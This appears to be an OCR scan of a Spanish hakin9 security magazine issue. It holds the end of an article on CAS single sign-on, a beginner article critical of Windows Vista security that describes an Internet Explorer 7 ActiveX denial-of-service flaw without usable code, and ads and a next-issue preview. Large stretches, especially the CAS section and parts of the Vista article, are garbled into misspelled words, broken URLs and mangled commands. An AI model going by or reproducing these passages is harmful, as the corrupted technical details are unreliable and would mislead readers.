rig almacenado come una cooakie. Asl
PUss, una peticiin tipica podria ser

https://server/cas/ loginTservice=serv
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Por gira lada, CAS tambin parmse
rencvar ol Bokel o o que 88 ko mis
e, bligar & que |8 SUlenSCRcn S
POROUTCE B8 ML

https://serv vicesservic

ekt e
Hay varias formas de usar CAS

Apache: AuthCAS

Es un méddulo para ol senddor web
Apache gue pusds ser configurado
Wlwﬂmumr"w
bla con ks dos. &

1o comentadas. Esta opcidn facifta la
megracon de CAS con apicacones
que no pueden ser modificadas, como
por epEmplo, micho softeane web
di cHfge propestang axaterte en @l
rsrcado ques No Saportan eEle po de
autenticaciin Bastard enfonces con
proteger o espaca donds resda esta
aphchadn con o mddule AUthCAS,
aspacificdndolo por ajemgio on un
fichero _hisccess,

Clisilis CAS dava

Mo a8 mas que un fichers jar par
afiadir imegracidn con CAS a una
aplicaciin, seempre gue dsia ashh
BT 8N lnguai Java, o pusda
usar alguras lamadas a hbrerias
Java, Esta librovia contiens una setie
de mitodos encapsulados que vana
permitir dicha integracidn,

CASFilter
Es la forma més simple de fitrar las
peticiones segln una rufa o path
spacifics AN una aplchodn wab
Es necesano configurar una sene de
pardmaos par s cormehn funge-
ramiario an al archivo wab xml que
B uolice on la aphcaciin, madiente
las BBOQUETES <parsmnames ¥ parame
alues Habrd gue especificar al me-
nos la URL de la pdgina de entrada,
por ajemple eol ek ifs. tp cas el
fitne loginiiel, la URL dol serdcio de
wabdaoadn de Gokets, adu yale d2ipc
ag chenl ier vabdatelil y la URL ala
quir o seradar CAS nos mdnecoang
tras el process oe autenticackin sou
alp i3 (pcas chrnl Al perwceli
Después de que el usuanc se
haya sdentificads medante CASFI-

i tun ol
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Figura &. Paniails de entrade de CAS

e, la aphcacitn vab podn sccedar
al nombre de usuario a traves del
atnouto de sesedn e Fele ite 0o ca
& ool iTey usey .

uPortal

Es unh corotado framework pare ohesr
portales, concebids COMO UNG Sene
e clases oSCnlas &0 Jiva y una
s di documanios XMLIXSL que
B8 pusden utiizar en &l desarmolo
cel portal, Se puede utkzar con di-
forentes senvidores de aplicaciones:
Apache Tomesd, BEA WebLogic, 1BM
WebSphere o Cavcho Resin,

Instalacién

en Fedora Core §

Para poder irstalar CAS en esta

datribucion de Linux, bastard con

wstar tado & | ¥ meal

la siguiente secwencia de comandos

comao usuana ool (Listada 1)
Posteriomments, bajaremos el

archivo del servidor CAS desde la -

puisnts URL y lo descomprimiremnos:

Copiaremos ol archive de demo al di-
reciorio de aphcacionss de Tomcat

Iniciaremos &l servicio:

fetefinit.d

rocticomuter:-3
start

Finalmente, conectaremeos a la LIRL
local kifp:ilocaibost 8080 casfogn,
donds podremos obssrvar la si-
guienie partalla (Figuara 8).

En sucesivos articulos veremos
coma integrar GAS con ofras apl-
CRTOnNes, 0o Manera que Yeamos su
utiicad de un Modo eminenbements
practico. ®

Sobre el Autor

Artarg Gonzdlez Fermer o3 Ingenksn Infeemdbico per la Unsvarsidad de Granasds, yanls
Setalbdsd rabigh 2ame ASTehaInaser o8 Sateimdd pars & Ceatrs e Efdahanras Vi

bl de dicha Linksrsidsd.
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Si quieres formar parte de nuestro
equipo y crear la revista hakin9 con
nosotros como:

Nos gustario que hokin9 fuera una revista realizada por y para los profesionales de
la seguridad informatica. Por ello, estamaos buscando personas con un elevado cono-
cimiento en la materia, expertos en seguridad informdtica y a las que les encante
escribir, El autor serd siempre quién elijo el tema,

“." it.iﬁ-n...\ L- ‘

Corrector

Si la seguridad informatica es tu pasion, conoces en profundidad la gramatica y orto-
grafia espanola y lees el Diccionario de la Real Academia todas las noches antes de
dormir, posees un perfil ideal para ser nuestro corrector y corregir los textos antes de
que sean publicodos,

5 W SN

Betutester

Los betatesters son los que leen los articulos y después opinan sobre ellos antes de
que salga la revista. Grocios a esto, sabemos cudles son los temas mas interesantes
para nuestros lectores. 5i eres uno de nuestros betatesters tu nombre serd publi-
cado en la revista. Cudnto mds nos ayudes, mds puedes esperar de nosotros,
iNuestros betatesters son muy importontes para nosotros! Si quieres sober mas,
entra en: http://www.hakin9.org/es/haking/beta.html

no lo dudes un instante, escribe ahora mismo a:

es@hakin9.org




FPara principlantes

Seguridad

en Windows Vista

Cucar Martinez Péraz :

Gretha de i foillad
o0

El coloso Microsoft, que lanzd en Octubre del 2001 Windows

XP, vuelve a la carga con una nueva versidn, de su sistema
operative Windows, por &l gue ha recibido durante anos, criticas
y alabanzas de todo tipo. Segun Microsoft con esta nueva
apuesta, lanza un sistema operative, mucho mas sencillo, seguro
y divertido, pero sobretodo seguro,

amos a ocuparncs de analizar sus

wslamas 98 segundad ¥ &l concept

que Hene eshe sistema operativo para
assgurarnos que merece la pena actualizar
nuestros ya viejos Windows XP.

Windows \ista. centa su concepio de se-
guridad an cuabo pilares bisicos, Windows de-
Tenger. Copias o segurnied, Inlemmel Explorer
7 y Medics de control pavenial

Siantramos an o portsl de Maresal, pode-
mos obserar como en su definicidn de Yindo-
ws defender, dicen hemos decidido ayudarie a

i SamdE con Mhn chpfencher
o888 coma SMTHnics STargentes, Spywane
¥ otro sof o ok fo. Nes imagi

que probablements no fo scharias de menos.
MNota Mantal: Aprovechsa para decir, qus pen-
sar an ol usuanc fnal, ssta muy been, ¥ 85 muy
loakse, sin embarpo, deckir @ estas aluras oo-
e hamnds un tvar 8 odos ks U gue
durarie afcs han sulndo e canencias de segu-
ridad de los eisleras cperativos de Microsolt,
que nos QusEn ayudar, cuando o producio es
de Microsoft, ¥ las cilras multimilonarias de esta
erpress hablen por & Schys, me paness COmMa
profesional del gremio una falta de respecio
Ho nace faka que Nos Goan Jue s

opsmfvos, han sido testsados por los usuarios,
¥ profescnales que durante afios hemos hecho
de b =, o350 ya ko sak

Windows Defender
Por todos es sabide. lo molesto que es el
spywars, a8 por sllc qus Mcrosoft ha creada

En este articulo aprenderas...

+ Bl concepto de seguridad de Vindows Vinta,
+  Los seceeios de ssguridsd del meve anis.
Erwane de Microsolt, Windows Delercder,

*  Vulrarabiided DoS (dendal of service] en inler
ot Explorar. Com S pusde colgar o P
ravegados inferret Explorer T con tan sols §

raay de cidigo

Lo que deberias saber...

*  Chss #3 un absque DoSc (Denal of Service)
Adaga & wn intema de cedenadoes © rad qua
CEUSE U LN SECE O FROLTSO S6N inacoesible
W b0 LU0 S legitimos

= Que s un Fuzner: Un eer £ un programa que
nbnta desoukne o riciad

wwres Rakind arg




Seguridad en Windows Vista

w Wind

Figura 1. Windows vista al descubierio

Windows Defender, una aplicacién
que no deja de ser un software
antiespia actual, auto actualiza-
ble online, que detecta y elimina
software o programas espia La
aplicacion es gratuita y se puade das-
cargarde: htftp:Awww.microsoff.com/
athome/ssecunity/spywaressoflware/
defaull mspx.

Actualmente el software esta dis-
ponible unicaments an inglés, aleman
¥ [Aponas, ¥ para usaro @s NECEsano
disponer de una copia leglima de
Windows XP o 2003. Las traduccio-
nes a mas idiomas s8 iran sucediendo
postariormmenta.

Windows Defender viene incluido
en todas las versiones de Windows
Vista.

En la primera version Beta 2 de
Windows Defender, se reportaron la
friclera de 400 fallos detectados por
unos 34 millones de parsonas que lo
testearon (gquidn ayuda a quién?)
Microsoft asegura que en la versién
final todos estos errores estan solu-
cionados.

Segun Gerhard Eschelbeck, Di-
rector de Tecnologia y Vicepresiden-
te de Webroot Software, Felicitamos
a Microsoft por las notables mejoras y
nuevas ventajas gue ofrece Windows
Vista. Sus distintas aplicaciones, la
mejora de las funciones da red y dal
soporte grafice le convierten en un
sisterna operalive sorprendente. Sin
embargo, nos gusiaria asegurarnos
de que los usuarios son conscientes
de las imitaciones de Windows Vista.
Es nuestro deber prevenirles de que
el sisterna de profeccién de Microsoft
contra virus y esplas no protege al
ordenador de forma completa.

En las pruebas realizadas por
los ingenieros de Webroof, Windows
Defendar, fue incapaz de bloguear
el B4% de las amenazas incluidas
en una prueba con 15 de los ale-
mentos de spyware y malware mas
habituales.

\‘I

e

-\ﬁsté

Ademas, en diversas pruebas
realizadas por el mismo equipe de
ingeniercs de Webroof, Vista, fue
incapaz de detectar diversas ame-
Nazas. como adware, programas
potencialments no deseados (Pups),
monitores de sistema, espias de te-
clado (keylogers) y troyanos. Incluso,
uno de los Pups, que se analizd llego
a instalarse con privilegios de admi-
nistrador del sistema, para grabar las
pulsaciones del teclado, y Windows
Defender no detectd ni la instalacidn
ni la epecucién del programa (hitp.
Swwwwebroof. comdand/Windows-
Vista-Ready.php?id=HOME-BO-
TTOM-vista#dam_malware).

En cuanto a las actualizaciones,
parte importante de cualquier sistermna
de proteccién y deteccidn de software
malicioss, Windows Defender lo rea-
liza cada siete o diez dias, valorando
deficienternente el margen de tempo
durante el cual nuestro sistema seria
potencialments wvulnerable contra
amenazas de software malicioso,

Vista no solo es suscephble al ata-
que de software malicioso, también
estd expuesto frente a amenazas de
wvirus, ya que en esta nueva version
sigue N aparecer ningura aplica-
cibn antivirus, con al valor afadido
de que los usuarios de Windows Live
OneCare (Aplicacién no gratuita, que
ofrece los sarvicios de: antivirus, cor-
tafueges, antiphishing, antspyware,
herramientas administrativas y de
mantenimients, ayuda en linea y co-
pias de seguridad auvtomaticas). Pa-
garan 49,95 €, para estar protegidos
ante los virus y ofras amenazas.

De esta forma Microsoft vualve a
demostrar el afan desinteresado por
ayudar a sus usuanos. JNMerdad? Todo
un detalle (hitpYonecars live.com/
site/as-asidafault him).

Me gustaria recordar que por el
mes de Noviembre del pasado 2008,
para Live OneCare, un mail de Gmail
8ra un virus.

Increible, pero cierto...
Hay dos formas de pensar en este
asunto. Podemos pensar mal y lle-
gar a la conclusidn de que Microsoft,
intentd una fase de competencia
desleal hacia los servicios de men-
sajeria electronica que google ofre-
ce, por otro lado podemos pensar
bien, y caer en la conclusitn de que
=@ trata de un fallo de programacién
del equipo de desammollo de Windows
Live OneCare, pensamiento que sin-
ceraments no resulta muy complejo.
En cualguier caso, la realidad
es que cuando teniendo activado el
servicio de Windows Live OneCare,
entrabamos a Gmail, desde nuestro
navegador Web, y al tratar de abrir un
documento, Windows Live QneCare
nos mosiraba una ventana advir-
tidndonos de que el documento gue
estabemos fratande de abnr estabs
infectado por &l virus BAT/BWG A.
Deseo confirmar que eslo era un
aviso de posifive falso y lo hemos
arreglade (...) Investigaremos cdmo
sucedié este falso positive y tomare-
mos las medidas para minimizar los
riesgos de més incidentes, dijo Ziv
Mador, portavoz y coordinador del
equipo de AntiMalware de Microsoft.
De cualquier modo, se sirvio la
polémica, y los afectados finalmente,
para variar, los usuanos, que an cier-
to momento no entendian si su siste-
ma Grail, estaba o no infectado.

El nuevo navegador
web de Microsoft
Posgiblemente el cliente Weorld Wide
Web mas extendide y de mayor uso
en & mundo. Ahora en todas las
versiones de Vista, va incluida la
versién 7 de Internet Explorer.

Internet Explorer 7, salio previo a
Windows Vista, ¥ comenzd franca-
mante mal. Lo mds caracteristico de
su debut, fue un fallo de seguridad,
ya conocido en su antecesor Internat
Explorer 6.

Determina Security Research
descubrid una wvulnerabilidad Do3
en multiples controles ActiveX inclui-
dos en Microsoft Internet Explorer.
Segin confirma el Microsoft, esta
vulnerabilidad no puede ser utilizada
para la ejecucidon de cadigo.

wwiw. hakin®.org



Fara principlanies

Lot confroles Aot vulners-
Ibles, sstin disponiblos por defecto an
todas las versionss del Inemet Explo-
e, o Windows 2000, XF y Vista en
Versones para ssiemas operalivos
anteriores también son wuinsmables,
parD NG Benan SEp0ne, ¥ poF kb Brk
N0 S8 PUDLCArAN SCUEiiza cones

La wvulnerabdided fue delectada
con un Furzer al insfenciar todos
los confroles ActiveX en ol sisbema y
FNUTHTRT S propedades

Datermina Securty Research, des-
cubrid que mRiliples conbroles chusan
errones de ewcepciin, cuando ciertas
B i O LN PIOQIAMa on Evascript

La mayoria de los controles Act-

wal, vulnsrables, se encueniran en
la bbreria MEHTMLOLL ¥ pusdan
sl xplotados en dEs 19S wree-
nas de Imernet Explorer,

Controles Vilnerables:

= giffile,

= hamifile,
*  jpaghie,
= mhtmifile,
* ODCfile,
*  preeghie,
= pngfile,

= xbenfile,

«  xmifile,

= walfile,

= wdpiile.

Micresoft Intnrmaet Explorer 7, acopla
de manera directa la tabla anteror
mostrada de confroles Activel sin
necasadad o SohCiar 1A acepiackn
del usuario. Es por elio que el nave-
padal incurme en un grave fallo de
seguridad y estabilidad

Para qus ssts Bpo de ataque
ienga déxito, el usuaro, ha de ser
COMvencikde para que visbe un wbo
malicioso ¥ preparaco pam elio, Sin
embarge, en la actuakdad los conos-
mapntos di la gran mayosis de ks in-
inmautas, sobre este tpo de electos,
a8 davia insuficients, astanda gran
parte de la comunided de usuarios
an paligro, siempre QU axistan oste
tipe de amenazas sin schantar

LQueremas colgar ol clonin web?
Es muy sancillo y con un codigo muy
simple.

Figura 2, Colgandg femet Exploner T

W Como una imagen vale més gue
mil palabras, probar vosolos MisMos,
pocdiis cargar ka siguisnie url snvues-
to navegador Inbermed Exploms 7 y
podnéis comprobar como irstantinea-
P 8500 MOCING ¥ SAEUN NavegE-
dor Web responde sadsfactoriaments
& I vulreabbdad qui Bcabamos de
docsfaxpiorerhtml)

“Mas informaciin en hitpatiew
delwrmina comSsecurity research’
vuinerabailiesactver-Egooorn fmil

B L T pe—

8 Eret il T S [ — F it = e e [l e B
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Hey on dia . & la hora de pre-
santar un nsove sstoma informitico
por algund de las mde poderosas
amprekis de soltware del mundo,
o5 mis probable, encontrarss ante
un aspactéculs holywoodisnss que
un acontecimiento informatico y pro-
fosional. Donde podemos ver 8 los
prncipales responsables de esias

Ve

DoS (Denial of Service)
Alagus @ un Eafera de crderadaes
o ped gUe CHUSS GUE LR SEFVCE &
MCUMED B Inscorsibie B low WBURTioE
eglimed. Noiralrifle oo &
pebrdicda e b cone-ctivicad de l ned por
&l cofsums del anche de Bands de is
Ped da a wictima o sobrecaips S las
recursos. computacionales del sisterma
da la vicima.

G ganea madiacts b saturesidn
da loa pusros con fujs do infiormadciing
By e gub ol SarviSar B8 sobiec-

£0ud cormeg Coigs L]
navegador? Realmente poca cosa,
s U demostrar i iragldad de un
preducin que v ahos on o menceda,
¥ qus &8 ura de las caracteristicas fun-
camentales gus ha lanzado Macrosolt,
N D00S SUR SIS OpERCE
Las empresss de creatdn de
softwane debedian velar por b se-
puridad de sus sistemas . ademds
de pasiar @ invertr mucho mas es—
fussrzo . para probeger a ko gue no ma

G ¥ Ne pUeds SeguUE preslands sar
widiod, por eng a8 b dics danspecidn,
P hace qua 8 BErERr No de St
@ la canddad de usuarios.

Spyware

El spyvware o5 un softense que recopds
informacién @e un ordansdor § den-
ks Pansvrde esth OO B e
entidad axterta 3N &l conocimients o

cansand de repetr. las dack
victimas de esios fallos informdticos,
ok LELArias finales

. haking g
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Seguridad en Windows Visla
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Figura 3. Avizo Emergents LIAC

empresas, dando salios, y grifos,
con una escenografia digna de cual-
quier obra de teatro ademds de unos
efectos musicales y especiales que
seguramente hacen las delicias de
los mas exigenies,

Con todo esto solo trato de decir,
que gastar verdaderas foriunas en
campafias publicitarias tan exubseran-
tes, mostrando al mundo un producto
inddifo y revolucionana, seria mucha
més ineresante, si las acompafiaran
y respaldaran con la concencia que
cualguier profesional debe de temer
en meante al realizar su trabajo, profe-
sionakidad antes que mercaderia.

5i no teniamos suficiente con el
Spam, Vista nos trae la nueva pesa-
dilla emergenie:

UAC (User Account Cantrol),
mecanisms que intenta disminuir el
efecto de cbdigo peligroso, sobre
algunas operaciones de access a
recursos del sistema

Mediante este concepto interac-
tivo sistema usuario, esta tecnologia
solicitard eventualmente al usuaro

~

Fuzzer

Un fuzzer es un programa que intenta
descubrir vulnenabdidades de seguni-
dad erviande una ontrads arbraria o
una aplicacin. Si el programa contiens
una vulrerabilidad que pusde conducir
@ una pcopeién, ol chagque o ol ames dy
seridod, como an ol caso de aplicacio-
nes Wab, puede sor determinado que
una vulnerabidad ha skdo descublerta.

J

~N

ActiveX

Lenguaje desaroliade por Microsolt
para ka elaboraciin de apbcacicnes
axportables a la red y capaces de ope-
rar gobie cualguior plataforma a raves,
nonmalmente, de navegadores W,

J

que proporciong ¥y certifique sus
credenciales para poder realizar
determinadas acciones.

Sihermos iniciado una sesidn en al
SIStEMa COMO USUano sin privilegios
administrativos, & la hora de realizar
tareas que requieran la credencial de
administrador del sistema, ol UAC
nos solicitara que nos identifiquemos
con una cuenta que disponga de los
privilegios administrativos  necesa-
rios para realizar la accidn.

Diche asi, no solo suena, lagico,
minucioso, & incluso  ecnologica-
mente moderno, sno fuera que
desde hace afios, sistemas operati-
vos Unix, distribucionss graafLinux |
Mac 05, ya utilizan este concepto de
seguridad para proteger el access a
recursos de sistenma.

El problema mas grave, ¥ lo que
realmeants incomoda al usweario, esla
frecuencia con que el UAC solicita al
usuario que se identifigue, Begando
a interferir en el frabajo, terminando
por sar un sistema mas molesto gue
ventajoso. En las versiones Beta, el
impetu del UAC era tan exagerada-
mente espontdnes legando a ser
tan desquiciante, que Microsoft en la
varsiin final a relajado su frecuencia
da apariciones

Existe la posibiidad de que
cualquier usuario pueda desactivar
el LAC, pero logicamente no sin
exponer al sistema a que ciertos pro-
gramas reabcan cambios cormprome-
tiendo potencialments su seguridad,
privacidad y estabilidad.

Control Parental
Podemos confrolar, desde limites
horarios, lugares gue s navegan,

Tabla 1. Elemamnios de spywane ¥
malware utiizados por webrood

Troyano

f.oPineh Troyano [l
Loadcash.Biz Trayano
Playboy Dialer Adware

iy iy ol

SEPFBar Adwa

Li:]
R | |

Update Motifer Faka Adware
Alert

Zlob Troyano

tipo de aplicaciones que sa utilizan,
hasta leer los logs de las conversa-
clones de Microsoft Messenger.
Interesante herramienta de control
de usuarios, donde Microsoft plensa
en un wso doméstico, para el control
de los menores, por pare de sus
padres o tutores, A nivel profesional,
poco que decir, que 8 podria esplar o
restringir la actividad de los usuarios,
y recibir informes. Inchuye un sencillo y
pricico interiace para configurar corma
administrador del equipe las carache-
risticas y restricciones que deseemos
implamentar para un wsuans concreto.
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Figura 4. Interface confrol Parental Vista
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Sistema de
copias de seguridad
Anbericemente en Windows XP, ss
witradups |8 posibibded de eslawEr
ol sisiema a un estado antedior, sin
pordat informmackin personal Vista va
mds ald y ofrece una aplcacidn de
COPAS O seguridad, 8n las versones
Limate ¥
Enfavpnse La posibibcd oo auioma-
tizar las copias de ssguridad, nos evi-
18, T QU FICGET T T
realizar las copaas de sagundad ma-
nualmente. Ademas en |as versiones
Buginegs, (Mimale y Enterprise, po-
demos realizar b rostmunecion del s
18ma compleio. s &N aigin momento
fenemos o sistema comapio,

El interface &8 muy infuitivo, y &
asisiarie nos ayudard pasoe @ pasd,
hacesndo que realizar y automatizar
copas oo sagurided sea una facil
tarea. Una apussta importante por
parte de Vista, en estos Bempos
on los que hablar de Teras de infor-
macién &% ya un hecho. Cuando an
RS MOUNDNES CON Colgas Oal
gheimic. & Wata ol Wma del sisbima
mis duramerts criticads y vulnera-
bl del planeta, siempre hablames
da la craturs del gepanin informabion
de Redmaond, Windows.

Windows, o sin duda alguna el
L P rwa, lade en &l
mayes porcantaje de equipos infor-
miticos del mundo, la exposicidn
por mnto de osln ssoma 8 vl
rabilidades, y srrores, 88 mucha ma-
yor. que la que Ssnen oiros sslemas
operativos, de no tan extendido wso.
sofl. visehee @ alrecer un sisbema ope-
rafive, con una durisima campala de
marketing comercial, hackéndonos
croed qub realmanie estames par in
ante &l Céliz de la informédtica.

Finalmants comprobamcs, que
ol sistema operativo sigue feniend

Bk s Fon o posar pesarm prangutn
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Flgura 5., Interface Satemas Backup Vists

Regquerimientos de Hardware
LR PBQLISTITSS MO MINIMos gLl eeta-
blece Microsoft, para cormer sunuewo
SEleTG CROTEEVG, MIPETEIMSniE 00
Procesador 800 Mez {compafible
con instrucciores 55E), 512 MB de
TG ram § cuakguier procesadar
grifico compatible con Direct 8, 5i
T tar jlas grafoas, antenones
& una fecha aproximeds al ano 2004
deberiamos cambiadas s es que
QUENBMOS COMer Asn, &l ruews mo-
tor grafico de Vista

Con I configuracidn  anterior
podemos ener nuesino sisema Vin-
dows Vista instalado, pero yo no reco-
misndo & nadie con una méguing de
OFE CRTRCITIRUCES wiar Windows
wista, Una cosa os que funcione”, y
alrs MUy distirds &8 coma funcia-
e, Wi n da, que el

fallas quar ko USUAMGS VEMSS fepar-
tando.

Vender un sstema como o estd
hacsenda Microsofl, con un concepio
de seguridad tan elevado, no es mis
que la soberbia comarcial & la gue
nepito, la compahia de B8l Gates nos
Harsh BCCRUmDIRcd ¥ gua &Ela mu-
cha de la realicaed.

hardware recomendado para que
su Nusvo sstema funcione 8 las mil
maravilas . &% un procespdor w86
& x84, can 1 GB de memona RAM,
RLOMPAnEGS de Un procesadar grifi-
co de 128 MB |, 40 GB de discs durs,
con 15 GB hbres (08 ko que ocupa la
instalaciin de Windows vista) | tare-
18 de Guidiy ¥ COMBGn 8 Intemst

werw. haking g

Es tacil darse cuenta de la can-
tidad de memaria RAM y de video
que Vista necesits pars funcienar
fluidaments, ademés de una gran
cantidad de aspacio ibre en ruesio
disco duro, no comparable a ninguna
instalacién gue cualgquier otro siste-
ma operafive del mercado nacesite,
cormo pusden ser el caso de distribu-
ciones Linux (alrededor de unos 4 o
& GA una completisima instalacidn
o D5 Tiger (3GB),

JCdmo era eso... El Hardwars
smpujs al softsare o es ol revis?
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corporativa/universitaria

Software Wydawnictwo Sp. z 0.0 fue fundada en 1995 con el fin de publicar revistas para
profesionales en campo IT,
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Network Defense Rootkits en Windows
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30Na que la asegura

La suscripcion anual corporativa/universtiaria significa que recibiras:
* La revista impresa — 2 ejemplares por cada edicion
ceso (sin limite de usuarios) a la version electronica de la revista

jAhora una oferta especial!
jS6lo ahora por la suscripcion anual pagaran tan solo 120 euros!

ta, www.buyitpress.comies
are.com.pl
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En el numero siguiente,
entre otros:
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Monitorizacién de seguridad en sistemas

Menitorizacidn avanzada para todos los elementos criticos en los entornos
de seguridad: Firewalls, IDSs, sistemas de acceso y eventos de seguridad
en todo tipe aplicaciones. Rendimiento y alertas de todos aquellos sistemas
criticos.

Criptografia de Curva Eliptica:
Ataque Rho de Pollard

La criptografia asimétrica basa su fuerza en la dificultad de resolver ciertos
problemas matematicos. Hasta la fecha los mas usados han sido el problema
del logaritmo discreto, aplicado en Diffie-Hellman v el de la factorizacién,
aplicado en RSA. Un problema menos conocido es el del logaritme discreto
en curvas elipticas, Mas dificil de resolver que los antenores, su aplicacion
permite usar longitudes de clave menores. Se estima que una clave de 313
bits de un criptosistema de curva eliptica ofrece el mismo nivel de seguridad
que una clave de 40906 bits del criptosistema RSA.

Mucho mas que un cortafuegos
Los cortafuegos siguen evolucicnande, Debido al importante papel gue
juegan en la infrastructura de una red son quizés el lugar adecuado para
implementar ciertos controles y otros tipos de funciones que no se relacio-
nan estrictaments con el filtrado de trafico convencional.

Adicionalmente, los cortafuegos tuvieron que adaptarse a las nuevas
tecnologias y amenazas que el el sigo XX trajo consigo

En CD:
«  Hakin9. live: distribucidn bootable de Linux
+ ‘ersiocnes completas de aplicaciones comerciales:

Informacién actual sobre el préximo niumero
- http://www.hakin9.org/es

El nimero esta a la venta desde principios de Junio de 2007.

La redaccidn s reserva ol derecho a cambiar o contenide de la revista,
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Oficinas
Auditorias

Espafia Consultoria
Via Augusta, 143 5° 2°A
Tel. (+34) 932402029 e Implantacianes
08021 - Barcelona el
infobcn@kineticsl.com Recuperacion ante desastres

Soporte

Su ica .
ClIl. 90 N® 13-% Analisis Forense Digital
Tel. (+57)1 61

Bogota - Colombia Supervision y Mantenimiento
info@kineticsl.com

5 - Formacian
www.kineticsl.com

N el Solutions

Artificial Intelligence & Network Solutions S.L.

# Consultoria Informatica
= Mineria de Datos
* Seguridad
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http:/iwww.ainetsolutions.com, ainetsolutions@ainetsolutions.com
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Software Wydawnictwo Sp. z 0.0 fue fundada en 1995 con el fin de publicar revistas para
profesionales en campo IT,
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hakin9 - j como defenderse? trata de cuestiones relaconadas con la segurndad de los sislemas informaticos
lanio desde &l punio de vista de la persona que rompe la seguridad, como desde el punto de visla de la persona
que la asegura.

Le invitamos a conocer nuestra oferla de suscripcion PRO. Por pagar la suscripcidn PRO recibira: revista impresa,
publicidad de su empresa en forma de tarjela de visila dentro de la revista (en las ediciones corespondientes a un
afio de suscripcion)

La publicidad conliene; logotipo de su empresa, direccion y link corespondientes y una informacidn sobre los ser-
vicios o productos ofrecidos por usledes.

El precio de suscripcién PRO son 169 auros

jAhora una oferta especial!
iSolo ahora por la suscripcion anual pagaran tan sélo 88 euros!

Para mas informacién por favor visita: www.buyitpress.comles
0 escrbe a la persona responsable; katarzyna.chauca@software.com.pl






